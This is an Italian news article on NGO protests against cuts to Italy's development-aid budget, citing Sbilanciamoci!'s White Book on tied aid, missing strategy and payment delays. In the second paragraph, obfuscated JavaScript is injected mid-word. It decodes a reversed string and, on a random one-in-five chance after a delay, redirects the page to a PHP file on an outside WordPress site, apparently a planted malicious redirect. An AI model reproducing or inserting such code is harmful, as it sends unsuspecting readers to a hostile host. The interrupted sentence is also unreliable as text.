La protesta dei cooperanti

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Meno 252 milioni di euro. L’ennesimo taglio ai fondi per l’aiuto allo sviluppo ha fatto scendere in piazza le Ong, che hanno steso i loro striscioni davanti a Palazzo Vecchio, dove si aprivano il 26 ottobre le Giornate della cooperazione del Ministero degli Affari Esteri.
Meno 252. Nella Finanziaria, un taglio fra i tanti. Per il lavoro delle Ong, un bel problema. Nella realtà dei paesi poveri, una tragedia. Addio Obiettivi del Millennio, addio impegni internazionali, addio Fondo per la lotta all’aids, alla malaria, alla tubercolosi.
Lo stato della cooperazione italiana allo sviluppo è ritratto nella sua drammaticità dal Libro Bianco di Sbilanciamoci!, presentato proprio a Firenze durante il Forum alternativo promosso dalla stessa campagna e tenutosi il giorno prima della trionfalistica kermesse del governo. L’Italia ha conquistato l’ultimo posto della classifica OCSE, destin (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando agli investimenti in cooperazione soltanto lo 0,15% del Pil.
Ma non è solo un problema di quantità. Il 93% degli aiuti italiani, infatti, sono “legati”, ovvero forniti a patto che i beni e servizi relativi ai progetti finanziati siano acquistati soltanto in Italia, condizione spesso svantaggiosa per i beneficiari. La cancellazione del debito è stata conteggiata impropriamente come aiuto allo sviluppo negli anni passati, pur riguardando solo 38 paesi su 80 e per meno della metà della somma stabilita dalla legge del 2000.
E soprattutto, manca una strategia politica coerente. Come vengono scelti i paesi a cui indirizzare gli investimenti per lo sviluppo? Non è chiaro, infatti nell’ultimo decennio i 10 maggiori beneficiari sono cambiati sempre. Del resto, manca un controllo dell’efficacia degli interventi, per cui le scelte risultano estemporanee, spesso legate a emergenze contingenti.
La mancanza di trasparenza è anche il risultato di una grande confusione di competenze, ci sono tanti soggetti che dovrebbero fornire informazioni essenziali alle scelte politiche ma che spesso non comunicano tra loro: la Direzione Generale per la Cooperazione allo Sviluppo del Ministero Affari Esteri, il Dipartimento del Tesoro, la Ragioneria di Stato, il Ministero per le Attività Produttive, la Corte dei Conti, la Presidenza del Consiglio, il Parlamento, la SACE…
A complicare ulteriormente il lavoro delle Ong ci si mette, oltre la consueta faticosa burocrazia, l’inefficienza strutturale della Direzione Generale per la Cooperazione. E poi ci si mette “l’incognita Tremonti”, come leggiamo nel Libro Bianco: non solo passano in media due anni per vedersi approvato un progetto, un altro anno circa per poter partire sul serio e uno o due anni dopo ogni rendiconto per avere i soldi. I soldi possono non esserci, o non arrivare, o non esserci più perché Tremonti li ha tolti, anche se già destinati, con la finanziaria. Secondo l’OCSE dalla presentazione di un progetto alla sua chiusura contabile possono passare fino a 7-8 anni.
Tuttavia la Ong è tenuta a rispettare il contratto, pur nell’incertezza di soldi fantasma e con il rischio di doversi indebitare. Con gli ultimi tagli effettuati, i tempi di pagamento nel 2006 saranno ancora più lunghi mettendo in serio pericolo l’attività di decine di organizzazioni.
Come risponde il governo a questa situazione di crisi? Con le Giornate della Cooperazione. È duro al riguardo Giulio Marcon, coordinatore della Campagna Sbilanciamoci! “Queste Giornate sono vuote celebrazioni di successi inesistenti. Convegni, mostre, pubblicazioni e ricevimenti… fumo negli occhi, che nasconde una politica fatta di tagli, leggi inefficienti e disinteresse”. Dello stesso parere Sergio Marelli, Presidente nazionale delle ONG: “I tagli della Finanziaria ci obbligano a rivedere impegni già presi nei Paesi in via di Sviluppo. Anche il Fondo di emergenza ha da oggi 21 milioni in meno: tutti, tranne il governo italiano hanno capito che la cooperazione internazionale è una priorità. L’Italia – ha aggiunto – ha un ministro degli Esteri che non fa il suo dovere; se ogni tanto andasse nel suo ufficio alla Farnesina, si accorgerebbe dei fax di protesta che ogni giorno le ONG inviano.”

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